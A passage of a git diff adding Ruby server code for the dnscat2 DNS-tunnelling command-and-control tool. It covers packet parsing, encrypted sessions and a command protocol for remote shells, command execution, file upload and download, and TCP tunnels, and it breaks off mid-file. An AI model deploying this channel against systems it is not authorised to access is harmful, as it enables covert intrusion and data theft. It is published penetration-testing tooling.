data.unpack("nCn") + data = data[5..-1] + + return packet_id, type, session_id, data + end + + def Packet.peek_session_id(data) + _, _, session_id, _ = Packet.parse_header(data) + + return session_id + end + + def Packet.peek_type(data) + _, type, _, _ = Packet.parse_header(data) + + return type + end + + def Packet.parse(data, options = nil) + packet_id, type, session_id, data = Packet.parse_header(data) + + if(type == MESSAGE_TYPE_SYN) + body = SynBody.parse(data) + elsif(type == MESSAGE_TYPE_MSG) + if(options.nil?) + raise(DnscatException, "Options are required when parsing MSG packets!") + end + body = MsgBody.parse(options, data) + elsif(type == MESSAGE_TYPE_FIN) + if(options.nil?) + raise(DnscatException, "Options are required when parsing FIN packets!") + end + body = FinBody.parse(options, data) + elsif(type == MESSAGE_TYPE_PING) + body = PingBody.parse(nil, data) + elsif(type == MESSAGE_TYPE_ENC) + body = EncBody.parse(data) + else + raise(DnscatException, "Unknown message type: 0x%x" % type) + end + + return Packet.new(packet_id, type, session_id, body) + end + + def Packet.create_syn(options, params = {}) + return Packet.new(params[:packet_id], MESSAGE_TYPE_SYN, params[:session_id], SynBody.new(options, params)) + end + + def Packet.create_msg(options, params = {}) + return Packet.new(params[:packet_id], MESSAGE_TYPE_MSG, params[:session_id], MsgBody.new(options, params)) + end + + def Packet.create_fin(options, params = {}) + return Packet.new(params[:packet_id], MESSAGE_TYPE_FIN, params[:session_id], FinBody.new(options, params)) + end + + def Packet.create_ping(params = {}) + return Packet.new(params[:packet_id], MESSAGE_TYPE_PING, params[:session_id], PingBody.new(nil, params)) + end + + def Packet.create_enc(params = {}) + return Packet.new(params[:packet_id], MESSAGE_TYPE_ENC, params[:session_id], EncBody.new(params)) + end + + def to_s() + result = "[0x%04x] session = %04x :: %s\n" % [@packet_id, @session_id, @body.to_s] + result += Hex.to_s(to_bytes(), 2) + return result + end + + def to_bytes() + result = [@packet_id, @type, @session_id].pack("nCn") + + # If we set the body to nil, just return a header (this happens when determining the header length) + if(!@body.nil?) + result += @body.to_bytes() + end + + return result + end +end + diff --git a/server/controller/session.rb b/server/controller/session.rb new file mode 100644 index 0000000..1d6b080 --- /dev/null +++ b/server/controller/session.rb @@ -0,0 +1,452 @@ +## +# session.rb +# Created March, 2013 +# By Ron Bowes +# +# See: LICENSE.md +# +## + +require 'controller/encryptor' +require 'controller/packet' +require 'drivers/driver_command' +require 'drivers/driver_console' +require 'drivers/driver_process' +require 'libs/commander' +require 'libs/dnscat_exception' +require 'libs/swindow' + +class Session + class SessionKiller < StandardError + end + + @@isn = nil # nil = random + + attr_reader :id, :name, :options, :state + attr_reader :window + + # The session hasn't seen a SYN packet yet (but may have done some encryption negotiation) + STATE_NEW = 0x00 + + # After receiving a SYN + STATE_ESTABLISHED = 0x01 + + # After being manually killed + STATE_KILLED = 0xFF + + HANDLERS = { + Packet::MESSAGE_TYPE_SYN => :_handle_syn, + Packet::MESSAGE_TYPE_MSG => :_handle_msg, + Packet::MESSAGE_TYPE_FIN => :_handle_fin, + Packet::MESSAGE_TYPE_ENC => :_handle_enc, + } + + def initialize(id, main_window) + @state = STATE_NEW + @kill_reason = nil + @their_seq = 0 + @my_seq = @@isn.nil? ? rand(0xFFFF) : @@isn + @options = 0 + + @id = id + @incoming_data = '' + @outgoing_data = '' + @driver = nil + + # Stuff that's displayed after the window's name + @crypto_state = '[cleartext]' + + # Create this whether or not we're actually encrypting - it cleans up + # the handler code + @encryptor = Encryptor.new(Settings::GLOBAL.get('secret')) + + @settings = Settings.new() + @window = SWindow.new(main_window, false, {:times_out => true}) + + @settings.create("prompt", Settings::TYPE_NO_STRIP, "not set> ", "Change the prompt (if you want a space, use quotes; 'set prompt=\"a> \"'.") do |old_val, new_val| + @window.prompt = new_val + end + + @settings.create("name", Settings::TYPE_NO_STRIP, "(not set)", "Change the name of the window, and how it's displayed on the 'windows' list; this implicitly changes the prompt as well.") do |old_val, new_val| + @window.name = new_val + ' ' + @crypto_state + @settings.set("prompt", "%s %d> " % [new_val, @window.id]) + end + + @settings.create("history_size", Settings::TYPE_INTEGER, @window.history_size, "Change the number of lines to store in the window's history") do |old_val, new_val| + @window.history_size = new_val + @window.puts("history_size (session) => #{new_val}") + end + end + + def kill(reason = "No reason given") + @window.with({:to_ancestors=>true, :to_descendants=>true}) do + if(@state != STATE_KILLED) + @state = STATE_KILLED + @kill_reason = reason + + @window.with({:to_ancestors => true}) do + @window.puts("Session #{@window.id} killed: #{reason}") + end + else + @window.puts("Session #{@window.id} killed (again): #{reason}") + end + end + + @window.close() + if(@driver) + @driver.shutdown() + end + end + + def _next_outgoing(n) + ret = @outgoing_data[0,n-1] + return ret + end + + def _ack_outgoing(n) + # "n" is the current ACK value + bytes_acked = (n - @my_seq) + + # Handle wraparounds properly + if(bytes_acked < 0) + bytes_acked += 0x10000 + end + + @outgoing_data = @outgoing_data[bytes_acked..-1] + @my_seq = n + end + + def _valid_ack?(ack) + bytes_acked = (ack - @my_seq) & 0xFFFF + return bytes_acked <= @outgoing_data.length + end + + def queue_outgoing(data) + @outgoing_data = @outgoing_data + data.force_encoding("ASCII-8BIT") + end + + def to_s() + return "id: 0x%04x [internal: %d], state: %d, their_seq: 0x%04x, my_seq: 0x%04x, incoming_data: %d bytes [%s], outgoing data: %d bytes [%s]" % [@id, @window.id, @state, @their_seq, @my_seq, @incoming_data.length, @incoming_data, @outgoing_data.length, @outgoing_data] + end + + def _do_display_crypto_values() + @window.with({:to_ancestors => true}) do + if(@encryptor.authenticated?()) + @window.puts("Session #{@window.id} Security: ENCRYPTED AND VERIFIED!") + @window.puts("(the security depends on the strength of your pre-shared secret!)") + elsif(@encryptor.ready?()) + @window.puts("Session #{@window.id} security: ENCRYPTED BUT *NOT* VALIDATED") + @window.puts("For added security, please ensure the client displays the same string:") + @window.puts() + @window.puts(">> #{@encryptor.get_sas()}") + else + @window.puts("Session #{@window.id} security: UNENCRYPTED") + end + end + end + + def _handle_syn(packet, max_length) + options = 0 + + # Ignore errant SYNs - they are, at worst, retransmissions that we don't care about + if(@state != STATE_NEW) + raise(DnscatException, "Duplicate SYN received!") + end + + _do_display_crypto_values() + + # Save some of their options + @their_seq = packet.body.seq + @options = packet.body.options + + # TODO: We're going to need different driver types + if((@options & Packet::OPT_COMMAND) == Packet::OPT_COMMAND) + @driver = DriverCommand.new(@window, @settings) + else + process = @settings.get("process") + if(process.nil?) + @driver = DriverConsole.new(@window, @settings) + else + @driver = DriverProcess.new(@window, @settings, process) + end + end + + if((@options & Packet::OPT_NAME) == Packet::OPT_NAME) + @settings.set("name", packet.body.name) + else + @settings.set("name", "unnamed") + end + + if(Settings::GLOBAL.get("auto_attach")) + @window.activate() + end + + # Feed the auto_command into the window, as if it was user input + if(auto_command = Settings::GLOBAL.get("auto_command")) + auto_command.split(";").each do |command| + command = command.strip() + window.fake_input(command) + end + end + + # Move states (this has to come after the encryption code, otherwise this packet is accidentally encrypted) + @state = STATE_ESTABLISHED + + return Packet.create_syn(options, { + :session_id => @id, + :seq => @my_seq + }) + end + + def _actual_msg_max_length(max_data_length) + return max_data_length - (Packet.header_size(@options) + Packet::MsgBody.header_size(@options)) + end + + def _handle_msg(packet, max_length) + if(@state != STATE_ESTABLISHED) + raise(DnscatException, "MSG received in invalid state!") + end + + # Validate the sequence number + if(@their_seq != packet.body.seq) + @window.puts("Client sent a bad sequence number (expected #{@their_seq}, received #{packet.body.seq}); re-sending") + + # Re-send the last packet + old_data = _next_outgoing(_actual_msg_max_length(max_length)) + + return Packet.create_msg(@options, { + :session_id => @id, + :data => old_data, + :seq => @my_seq, + :ack => @their_seq, + }) + end + + # Validate the acknowledgement number + if(!_valid_ack?(packet.body.ack)) + # Re-send the last packet + old_data = _next_outgoing(_actual_msg_max_length(max_length)) + + return Packet.create_msg(@options, { + :session_id => @id, + :data => old_data, + :seq => @my_seq, + :ack => @their_seq, + }) + end + + # Acknowledge the data that has been received so far + # Note: this is where @my_seq is updated + _ack_outgoing(packet.body.ack) + + # Write the incoming data to the session + @outgoing_data += @driver.feed(packet.body.data) + + # Increment the expected sequence number + @their_seq = (@their_seq + packet.body.data.length) & 0xFFFF; + + # Read the next piece of data + new_data = _next_outgoing(_actual_msg_max_length(max_length)) + + # Create a packet out of it + packet = Packet.create_msg(@options, { + :session_id => @id, + :data => new_data, + :seq => @my_seq, + :ack => @their_seq, + }) + + return packet + end + + def _handle_fin(packet, max_length) + raise(Session::SessionKiller, "Received FIN! Bye!") + end + + def _handle_enc(packet, max_length) + params = { + :session_id => @id, + :subtype => packet.body.subtype, + :flags => 0, + } + + if(packet.body.subtype == Packet::EncBody::SUBTYPE_INIT) + @encryptor.set_their_public_key(packet.body.public_key_x, packet.body.public_key_y) + + # No matter what, respond with our public key + params[:public_key_x] = @encryptor.my_public_key_x() + params[:public_key_y] = @encryptor.my_public_key_y() + + elsif(packet.body.subtype == Packet::EncBody::SUBTYPE_AUTH) + if(!@encryptor.ready?()) + raise(Session::SessionKiller, "Tried to authenticate before the public key was set") + end + + # Check their authenticator + begin + @encryptor.set_their_authenticator(packet.body.authenticator) + rescue Encryptor::Error + raise(Session::SessionKiller, "Invalid authenticator (pre-shared secret)") + end + + params[:authenticator] = @encryptor.my_authenticator + else + raise(DnscatException, "Don't know how to parse encryption subtype in: #{packet}") + end + + # Update the session info + if(@encryptor.authenticated?()) + @crypto_state = "[encrypted and verified]" + elsif(@encryptor.ready?()) + @crypto_state = "[encrypted, NOT verified]" + else + @crypto_state = "[cleartext]" + end + + # Force a name update so the text gets added + @settings.set('name', @settings.get('name')) + + return Packet.create_enc(params) + end + + def _get_pcap_window() + id = "pcap#{@window.id}" + + if(SWindow.exists?(id)) + return SWindow.get(id) + end + + return SWindow.new(@window, false, { + :id => id, + :name => "dnscat2 protocol window for session #{@window.id}", + :noinput => true, + }) + end + + def _check_crypto_options(packet) + # Don't enforce encryption on ENC|INIT packets + if(packet.type == Packet::MESSAGE_TYPE_ENC && packet.body.subtype == Packet::EncBody::SUBTYPE_INIT) + return + end + + if(Settings::GLOBAL.get('security') == 'open') + return + end + + if(!@encryptor.ready?()) + @window.with({:to_ancestors => true}) do + @window.puts("Client attempted to connect with encryption disabled!") + @window.puts("If this was intentional, you can make encryption optional with 'set security=open'") + end + + raise(Session::SessionKiller, "This server requires an encrypted connection!") + end + + # Don't enforce authentication on AUTH packets + if(packet.type == Packet::MESSAGE_TYPE_ENC && packet.body.subtype == Packet::EncBody::SUBTYPE_AUTH) + return + end + + if(Settings::GLOBAL.get('security') == 'encrypted') + return + end + + if(!@encryptor.authenticated?()) + @window.with({:to_ancestors => true}) do + @window.puts("Client attempted to connect without a pre-shared secret!") + @window.puts("If this was intentional, you can make authentication optional with 'set security=encrypted'") + end + + raise(Session::SessionKiller, "This server requires an encrypted and authenticated connection!") + end + end + + def _handle_incoming(data, max_length) + packet = Packet.parse(data, @options) + + if(Settings::GLOBAL.get("packet_trace")) + window = _get_pcap_window() + window.puts("IN: #{packet}") + end + + # We can send a FIN and close right away if the session was killed + if(@state == STATE_KILLED) + raise(Session::SessionKiller, @kill_reason) + end + + # Unless it's an encrypted packet (which implies that we're still negotiating stuff), enforce encryption restraints + _check_crypto_options(packet) + + # Find the appropriate handler for the packet type + handler = HANDLERS[packet.type] + if(handler.nil?) + raise(DnscatException, "No handler found for that packet type: #{packet.type}") + end + + # Handle the packet + return send(handler, packet, max_length) + end + + def feed(possibly_encrypted_data, max_length) + # Tell the window that we're still alive + window.kick() + + begin + return @encryptor.decrypt_and_encrypt(possibly_encrypted_data) do |data, was_encrypted| + begin + if(@driver && @driver.stopped) + raise(Session::SessionKiller, "The driver requested it be stopped!") + end + + if(was_encrypted) + max_length -= 8 + end + + response_packet = _handle_incoming(data, max_length) + rescue Session::SessionKiller => e + # Kill it + kill(e.message) + + # Respond with a FIN + response_packet = Packet.create_fin(@options, { + :session_id => @id, + :reason => "Session killed: #{e.message}", + }) + rescue DnscatException => e + # Tell everybody + @window.with({:to_ancestors => true}) do + @window.puts("An error occurred (see window #{@window.id} for stacktrace): #{e.message}") + end + @window.puts() + @window.puts("If you think this might be a bug, please report this trace:") + @window.puts(e.inspect) + e.backtrace.each do |bt| + @window.puts(bt) + end + + # Don't respond + response_packet = nil + end + + # Print the packet if the user requested a trace + if(Settings::GLOBAL.get("packet_trace")) + window = _get_pcap_window() + if(response_packet.nil?) + window.puts("OUT: ") + else + window.puts("OUT: #{response_packet}") + end + end + + if(response_packet) + response_packet.to_bytes() + else + nil + end + end + rescue Encryptor::Error # => e + #@window.puts("There was an error decrypting or encrypting data: #{e}") + return '' + end + end +end diff --git a/server/dnscat2.rb b/server/dnscat2.rb new file mode 100755 index 0000000..6d8fade --- /dev/null +++ b/server/dnscat2.rb @@ -0,0 +1,212 @@ +## +# dnscat2_server.rb +# Created March, 2013 +# By Ron Bowes +# +# See: LICENSE.md +# +# Implements basically the full Dnscat2 protocol. Doesn't care about +# lower-level protocols. +## + +$LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 + +# Create the window right away so other includes can create their own windows if they want +require 'libs/swindow' +WINDOW = SWindow.new(nil, true, { :prompt => "dnscat2> ", :name => "main" }) + +require 'controller/controller' +require 'libs/command_helpers' +require 'libs/settings' +require 'tunnel_drivers/driver_dns' +require 'tunnel_drivers/driver_tcp' +require 'tunnel_drivers/tunnel_drivers' + +# Option parsing +require 'trollop' + +require 'securerandom' + +# version info +NAME = "dnscat2" +VERSION = "0.07" + +# Don't ignore unhandled errors in threads +Thread.abort_on_exception = true + +# Options +opts = Trollop::options do + version(NAME + " v" + VERSION + " (server)") + banner("You'll almost certainly want to run this in one of a few ways...") + banner("") + banner("Default host (0.0.0.0) and port (53), with no specific domain:") + banner("# ruby dnscat2.rb") + banner("") + banner("Default host/port, with a particular domain to listen on:") + banner("# ruby dnscat2.rb domain.com") + banner("") + banner("Or multiple domains:") + banner("# ruby dnscat2.rb a.com b.com c.com") + banner("") + banner("If you need to change the address or port it's listening on, that") + banner("can be done by passing the --dns argument:") + banner("# ruby dnscat2.rb --dns 'host=127.0.0.1,port=53531,domain=a.com,domain=b.com'") + banner("") + banner("For other options, see below!") + banner("") + + opt :h, "Placeholder for help", :type => :boolean, :default => false + opt :version, "Get the dnscat version", :type => :boolean, :default => false + + opt :dns, "Start a DNS server. Can optionally pass a number of comma-separated name=value pairs (host, port, domain). Eg, '--dns host=0.0.0.0,port=53531,domain=skullseclabs.org' - 'domain' can be passed multiple times", + :type => :string, :default => nil + opt :dnshost, "The DNS ip address to listen on [deprecated]", + :type => :string, :default => "0.0.0.0" + opt :dnsport, "The DNS port to listen on [deprecated]", + :type => :integer, :default => 53 + opt :passthrough, "Unhandled requests are sent upstream DNS server, host:port", + :type => :string, :default => "" + + opt :security, "Set the security level; 'open' lets the client choose; 'encrypted' requires encryption (default if --secret isn't set); 'authenticated' requires encryption and authentication (default if --secret is set)", + :type => :string, :default => nil + opt :secret, "A pre-shared secret, passed to both the client and server to prevent man-in-the-middle attacks", + :type => :string, :default => nil + + opt :auto_command, "Send this to each client that connects", + :type => :string, :default => "" + opt :auto_attach, "Automatically attach to new sessions", + :type => :boolean, :default => false + opt :packet_trace, "Display incoming/outgoing dnscat packets", + :type => :boolean, :default => false + opt :process, "If set, the given process is run for every incoming console/exec session and given stdin/stdout. This has security implications.", + :type => :string, :default => nil + opt :history_size, "The number of lines of history that windows will maintain", + :type => :integer, :default => 1000 + + opt :listener, "DEBUG: Start a listener driver on the given port", + :type => :integer, :default => nil + + opt :firehose, "If set, all output goes to stdout instead of being put in windows.", + :type => :boolean, :default => false +end + +SWindow.set_firehose(opts[:firehose]) + +if(opts[:security].nil?) + if(opts[:secret].nil?) + opts[:security] = 'encrypted' + else + opts[:security] = 'authenticated' + end +end + +if(opts[:secret].nil?) + opts[:secret] = SecureRandom::hex(16) +end + +WINDOW.puts("Welcome to dnscat2! Some documentation may be out of date.") +WINDOW.puts() + +if(opts[:h]) + WINDOW.puts("To get help, you have to use --help; I can't find any way to make") + WINDOW.puts("'-h' work on my command parser... :(") + exit +end + +controller = Controller.new() + +begin + Settings::GLOBAL.create("packet_trace", Settings::TYPE_BOOLEAN, opts[:packet_trace], "If set to 'true', will open some extra windows that will display incoming/outgoing dnscat2 packets, and also parsed command packets for command sessions.") do |old_val, new_val| + # We don't have any callbacks + end + + Settings::GLOBAL.create("passthrough", Settings::TYPE_BLANK_IS_NIL, opts[:passthrough], "Send queries to the given upstream host (note: this can cause weird recursion problems). Expected: 'set passthrough host:port'. Set to blank to disable.") do |old_val, new_val| + if(new_val.nil?) + WINDOW.puts("passthrough => disabled") + + DriverDNS.set_passthrough(nil, nil) + next + end + + host, port = new_val.split(/:/, 2) + port = port || 53 + + DriverDNS.set_passthrough(host, port) + WINDOW.puts("passthrough => #{host}:#{port}") + end + + Settings::GLOBAL.create("auto_attach", Settings::TYPE_BOOLEAN, opts[:auto_attach], "If true, the UI will automatically open new sessions") do |old_val, new_val| + WINDOW.puts("auto_attach => #{new_val}") + end + + Settings::GLOBAL.create("auto_command", Settings::TYPE_BLANK_IS_NIL, opts[:auto_command], "The command (or semicolon-separated list of commands) will automatically be executed for each new session as if they were typed at the keyboard.") do |old_val, new_val| + WINDOW.puts("auto_command => #{new_val}") + end + + Settings::GLOBAL.create("process", Settings::TYPE_BLANK_IS_NIL, opts[:process] || "", "If set, this process is spawned for each new console session ('--console' on the client), and it handles the session instead of getting the i/o from the keyboard.") do |old_val, new_val| + WINDOW.puts("process => #{new_val}") + end + + Settings::GLOBAL.create("history_size", Settings::TYPE_INTEGER, opts[:history_size], "Change the number of lines to store in the new windows' histories") do |old_val, new_val| + SWindow.history_size = new_val + WINDOW.puts("history_size (for new windows) => #{new_val}") + end + + Settings::GLOBAL.create("security", Settings::TYPE_STRING, opts[:security], "Options: 'open' (let the client decide), 'encrypted' (require clients to encrypt), 'authenticated' (require clients to authenticate)") do |old_val, new_val| + options = { + 'open' => "Client can decide on security level", + 'encrypted' => "All connections must be encrypted", + 'authenticated' => "All connections must be encrypted and authenticated", + } + + new_val_str = options[new_val] + + if(!new_val_str) + raise(Settings::ValidationError, "Valid options for security: #{options.keys.map() { |value| "'#{value}'" }.join(', ')}") + end + + WINDOW.puts("Security policy changed: #{new_val_str}") + end + + Settings::GLOBAL.create("secret", Settings::TYPE_STRING, opts[:secret], "Pass the same --secret value to the client and the server for extra security") do |old_val, new_val| + end +rescue Settings::ValidationError => e + WINDOW.puts("There was an error with one of your commandline arguments:") + WINDOW.puts(e) + WINDOW.puts() + + Trollop::die("Check your command-line arguments") +end + +domains = [] +if(opts[:dns]) + begin + dns_settings = CommandHelpers.parse_setting_string(opts[:dns], { :host => "0.0.0.0", :port => "53", :domains => [], :domain => [] }) + dns_settings[:domains] = dns_settings[:domain] + dns_settings[:domains] + rescue ArgumentError => e + WINDOW.puts("Sorry, we had trouble parsing your --dns string:") + WINDOW.puts(e) + exit(1) + end +elsif(opts[:dnsport] || opts[:dnshost]) + # This way of starting a server is deprecated, technically + dns_settings = { + :host => opts[:dnshost], + :port => opts[:dnsport], + :domains => [], + } +end + +# Add any domains passed on the commandline +dns_settings[:domains] = dns_settings[:domains] || [] +dns_settings[:domains] += ARGV + +# Start the DNS driver +TunnelDrivers.start({ + :controller => controller, + :driver => DriverDNS, + :args => [dns_settings[:host], dns_settings[:port], dns_settings[:domains]], +}) + +# Wait for the input window to finish its thing +SWindow.wait() diff --git a/server/drivers/command_packet.rb b/server/drivers/command_packet.rb new file mode 100644 index 0000000..d1ac060 --- /dev/null +++ b/server/drivers/command_packet.rb @@ -0,0 +1,376 @@ +## +# command_packet.rb +# Created May, 2014 +# By Ron Bowes +# +# See: LICENSE.md +## + +require 'libs/dnscat_exception' +require 'libs/hex' + +## +# Defines a packet in the "command protocol". There's a document in the docs/ +# folder that describes the command protocol, but essentially it's a protocol +# that runs on top of the dnscat2 protocol and provides functionality like +# uploading/downloading files, spawning a shell, etc. +# +# By default, when a new session is created, it's a "command session", where +# on the server, a Meterpreter-like menu is given. +## +class CommandPacket + COMMAND_PING = 0x0000 + COMMAND_SHELL = 0x0001 + COMMAND_EXEC = 0x0002 + COMMAND_DOWNLOAD = 0x0003 + COMMAND_UPLOAD = 0x0004 + COMMAND_SHUTDOWN = 0x0005 + COMMAND_DELAY = 0x0006 + TUNNEL_CONNECT = 0x1000 + TUNNEL_DATA = 0x1001 + TUNNEL_CLOSE = 0x1002 + COMMAND_ERROR = 0xFFFF + + COMMAND_NAMES = { + 0x0000 => "COMMAND_PING", + 0x0001 => "COMMAND_SHELL", + 0x0002 => "COMMAND_EXEC", + 0x0003 => "COMMAND_DOWNLOAD", + 0x0004 => "COMMAND_UPLOAD", + 0x0005 => "COMMAND_SHUTDOWN", + 0x0006 => "COMMAND_DELAY", + 0x1000 => "TUNNEL_CONNECT", + 0x1001 => "TUNNEL_DATA", + 0x1002 => "TUNNEL_CLOSE", + 0xFFFF => "COMMAND_ERROR", + } + + STATUS_OK = 0x0000 + TUNNEL_STATUS_FAIL = 0x8000 + + # These are used in initialize() to make sure the caller is passing in the + # right fields + VALIDATORS = { + COMMAND_PING => { + :request => [ :data ], + :response => [ :data ], + }, + COMMAND_SHELL => { + :request => [ :name ], + :response => [ :session_id ], + }, + COMMAND_EXEC => { + :request => [ :name, :command ], + :response => [ :session_id ], + }, + COMMAND_DOWNLOAD => { + :request => [ :filename ], + :response => [ :data ], + }, + COMMAND_UPLOAD => { + :request => [ :filename, :data ], + :response => [], + }, + COMMAND_SHUTDOWN => { + :request => [], + :response => [], + }, + COMMAND_DELAY => { + :request => [ :delay ], + :response => [], + }, + TUNNEL_CONNECT => { + :request => [ :options, :host, :port ], + :response => [ :tunnel_id ], + }, + TUNNEL_DATA => { + :request => [ :tunnel_id, :data ], + :response => [], + }, + TUNNEL_CLOSE => { + :request => [ :tunnel_id, :reason ], + :response => [], + }, + COMMAND_ERROR => { + :request => [ :status, :reason ], + :response => [ :status, :reason ], + } + } + + def CommandPacket._at_least?(data, needed) + if(data.length < needed) + raise(DnscatException, "Command packet validation failed: data wasn't long enough (needed at least #{needed}, only had #{data.length}).") + end + end + + def CommandPacket._null_terminated?(data) + if(data.index("\0").nil?) + raise(DnscatException, "Command packet validation failed: data wasn't NUL terminated.") + end + end + + def CommandPacket._done?(data) + if(data.length > 0) + raise(DnscatException, "Command packet validation failed: there was extra data on the end of the packet") + end + end + + def set(name, value) + @data[name] = value + end + + def get(name) + return @data[name] + end + + def CommandPacket.ready?(packet) + if(packet.length < 4) + return false + end + + length, packet = packet.unpack("Na*") + return (packet.length >= length) + end + + def CommandPacket.parse(packet) + _at_least?(packet, 4) + data = {} + + # Read and parse the packed_id (which is is_response + request_id) + packed_id, packet = packet.unpack("na*") + data[:is_request] = !((packed_id & 0x8000) == 0x8000) + data[:request_id] = packed_id & 0x7FFF + + # Unpack the command_id + data[:command_id], packet = packet.unpack("na*") + + case data[:command_id] + when COMMAND_PING + if(data[:is_request]) + _null_terminated?(packet) + data[:data], packet = packet.unpack("Z*a*") + else + _null_terminated?(packet) + data[:data], packet = packet.unpack("Z*a*") + end + + when COMMAND_SHELL + if(data[:is_request]) + _null_terminated?(packet) + data[:name], packet = packet.unpack("Z*a*") + else + _at_least?(packet, 2) + data[:session_id], packet = packet.unpack("na*") + end + + when COMMAND_EXEC + if(data[:is_request]) + _null_terminated?(packet) + data[:command], packet = packet.unpack("Z*a*") + else + _at_least?(packet, 2) + data[:session_id], packet = packet.unpack("na*") + end + + when COMMAND_DOWNLOAD + if(data[:is_request]) + _null_terminated?(packet) + data[:filename], packet = packet.unpack("Z*a*") + else + data[:data], packet = packet.unpack("a*a0") + end + + when COMMAND_UPLOAD + if(data[:is_request]) + _null_terminated?(packet) + data[:filename], packet = packet.unpack("Z*a*") + data[:data], packet = packet.unpack("a*a0") + else + # n/a + end + + when COMMAND_SHUTDOWN + # n/a - there's no data in either direction + + when COMMAND_DELAY + if (data[:is_request]) + _at_least?(packet, 4) + data[:delay], packet = packet.unpack("Na*") + end + + when TUNNEL_CONNECT + if(data[:is_request]) + _at_least?(packet, 4) + data[:options], packet = packet.unpack("Na*") + + _null_terminated?(packet) + data[:host], packet = packet.unpack("Z*a*") + + _at_least?(packet, 2) + data[:port], packet = packet.unpack("na*") + else + _at_least?(packet, 4) + data[:tunnel_id], packet = packet.unpack("Na*") + end + + when TUNNEL_DATA + if(data[:is_request]) + _at_least?(packet, 4) + data[:tunnel_id], data[:data], packet = packet.unpack("Na*a*") + else + _at_least?(packet, 4) + data[:tunnel_id], data[:data], packet = packet.unpack("Na*a*") + end + + when TUNNEL_CLOSE + if(data[:is_request]) + _at_least?(packet, 4) + data[:tunnel_id], packet = packet.unpack("Na*") + _null_terminated?(packet) + data[:reason], packet = packet.unpack("Z*a*") + else + # n/a + end + + when COMMAND_ERROR + _at_least?(packet, 2) + data[:status], packet = packet.unpack("na*") + + _null_terminated?(packet) + data[:reason], packet = packet.unpack("Z*a*") + end + + _done?(packet) + + return CommandPacket.new(data) + end + + # Verifies that all required fields for the type are present. + # :command_id, :request_id, and :is_request are all required. + def validate(data) + # Make sure they passed in a command_id and request_id + if(data[:command_id].nil?) + raise(DnscatException, "Required field missing: :command_id") + end + if(data[:request_id].nil?) + raise(DnscatException, "Required field missing: :request_id") + end + + # Find a validator for this + validator = VALIDATORS[data[:command_id]] + if(validator.nil?) + raise(DnscatException, "Unknown command_id (#{data[:command_id]}) or missing validator") + end + + # Make sure they set is_request and get the appropriate validator + if(data[:is_request].nil?) + raise(DnscatException, "Required field missing: :is_request") + end + validator = data[:is_request] ? validator[:request] : validator[:response] + + # Make sure all the fields in the validator are present + validator.each do |f| + if(data[f].nil?) + raise(DnscatException, "Required field missing: #{f}") + end + end + end + + # Data is simply a hash of the required fields (see the VALIDATORS variable + # for which fields are required for each message type). + def initialize(data) + validate(data) + @data = data.clone() + end + + # Convert to a byte string + def serialize() + # Make sure the data is sane + validate(@data) + + # Generate the packed id + packed_id = @data[:is_request] ? 0x0000 : 0x8000 + packed_id |= @data[:request_id] & 0x7FFF + + # Start building the packet + packet = [packed_id, @data[:command_id]].pack("nn") + + case @data[:command_id] + when COMMAND_PING + packet += [@data[:data]].pack("Z*") + + when COMMAND_SHELL + if(@data[:is_request]) + packet += [@data[:name]].pack("Z*") + else + packet += [@data[:session_id]].pack("n") + end + + when COMMAND_EXEC + if(@data[:is_request]) + packet += [@data[:name]].pack("Z*") + packet += [@data[:command]].pack("Z*") + else + packet += [@data[:session_id]].pack("n") + end + + when COMMAND_DOWNLOAD + if(@data[:is_request]) + packet += [@data[:filename]].pack("Z*") + else + packet += [@data[:data]].pack("a*") + end + + when COMMAND_UPLOAD + if(@data[:is_request]) + packet += [@data[:filename], @data[:data]].pack("Z*a*") + else + # n/a + end + + when COMMAND_SHUTDOWN + # n/a - there's no data in either direction + + when COMMAND_DELAY + if (@data[:is_request]) + packet += [@data[:delay]].pack("N") + end + + when TUNNEL_CONNECT + if(@data[:is_request]) + packet += [@data[:options], @data[:host], @data[:port]].pack("NZ*n") + else + packet += [@data[:tunnel_id]].pack("N") + end + + when TUNNEL_DATA + if(@data[:is_request]) + packet += [@data[:tunnel_id], @data[:data]].pack("Na*") + else + # n/a + raise(DnscatException, "Trying to send a response to a TUNNEL_DATA request isn't allowed!") + end + + when TUNNEL_CLOSE + if(@data[:is_request]) + packet += [@data[:tunnel_id], @data[:reason]].pack("NZ*") + else + # n/a + raise(DnscatException, "Trying to send a response to a TUNNEL_CLOSE request isn't allowed!") + end + + when COMMAND_ERROR + packet += [@data[:status], @data[:reason]].pack("nZ*") + end + + return packet + end + + # Convert to a user-readable string + def to_s() + response = "%s :: %s\n" % [COMMAND_NAMES[@data[:command_id]], @data.to_s()] + response += Hex.to_s(self.serialize()) + + return response + end +end diff --git a/server/drivers/driver_command.rb b/server/drivers/driver_command.rb new file mode 100644 index 0000000..b15ddb3 --- /dev/null +++ b/server/drivers/driver_command.rb @@ -0,0 +1,168 @@ +## +# driver_command.rb +# Created August 29, 2015 +# By Ron Bowes +# +# See: LICENSE.md +## + +require 'shellwords' + +require 'drivers/command_packet' +require 'drivers/driver_command_commands' +require 'drivers/driver_command_tunnels' + +class DriverCommand + include DriverCommandCommands + include DriverCommandTunnels + + attr_reader :stopped + + @@mutex = Mutex.new() + + def request_id() + id = @request_id + @request_id += 1 + return id + end + + def _get_pcap_window() + id = "cmdpcap#{@window.id}" + + if(SWindow.exists?(id)) + return SWindow.get(id) + end + + return SWindow.new(@window, false, { + :id => id, + :name => "dnscat2 command protocol window for session #{@window.id}", + :noinput => true, + }) + end + + def _send_request(request, callback) + # Make sure this is synchronous so threads don't fight + @@mutex.synchronize() do + if(callback) + @handlers[request.get(:request_id)] = { + :request => request, + :proc => callback + } + end + + if(Settings::GLOBAL.get("packet_trace")) + window = _get_pcap_window() + window.puts("OUT: #{request}") + end + + out = request.serialize() + out = [out.length, out].pack("Na*") + @outgoing += out + end + end + + def initialize(window, settings) + @window = window + @settings = settings + @outgoing = "" + @incoming = "" + @request_id = 0x0001 + @commander = Commander.new() + @handlers = {} + @stopped = false + + _register_commands() + _register_commands_tunnels() + + @window.on_input() do |data| + # This replaces any $variables with + data = @settings.do_replace(data) + begin + @commander.feed(data) + rescue ArgumentError => e + @window.puts("Error: #{e}") + @commander.educate(data, @window) + end + end + + @window.puts("This is a command session!") + @window.puts() + @window.puts("That means you can enter a dnscat2 command such as") + @window.puts("'ping'! For a full list of clients, try 'help'.") + @window.puts() + + # This creates the window early for a slightly better UX (it doesn't pop up after their first command) + if(Settings::GLOBAL.get("packet_trace")) + window = _get_pcap_window() + end + end + + def _handle_incoming(command_packet) + if(Settings::GLOBAL.get("packet_trace")) + window = _get_pcap_window() 